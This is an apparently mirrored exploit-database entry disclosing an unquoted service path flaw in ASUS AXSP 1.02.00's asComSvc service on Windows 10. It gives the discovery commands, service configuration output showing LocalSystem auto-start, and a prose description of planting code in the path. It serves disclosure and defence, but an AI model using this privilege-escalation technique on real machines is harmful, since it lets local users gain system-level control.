Asus axsp 1.02.00 ascomsvc unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-03-11 | Type : local | Platform : windows
This exploit / vulnerability Asus axsp 1.02.00 ascomsvc unquoted service path is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-10
# Vendor Homepage: https://www.asus.com/
# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755
# Tested Version: 1.02.00
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """
ASUS Com Service asComSvc C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe Auto

C:\>sc qc asComSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: asComSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ASUS Com Service
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem


#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.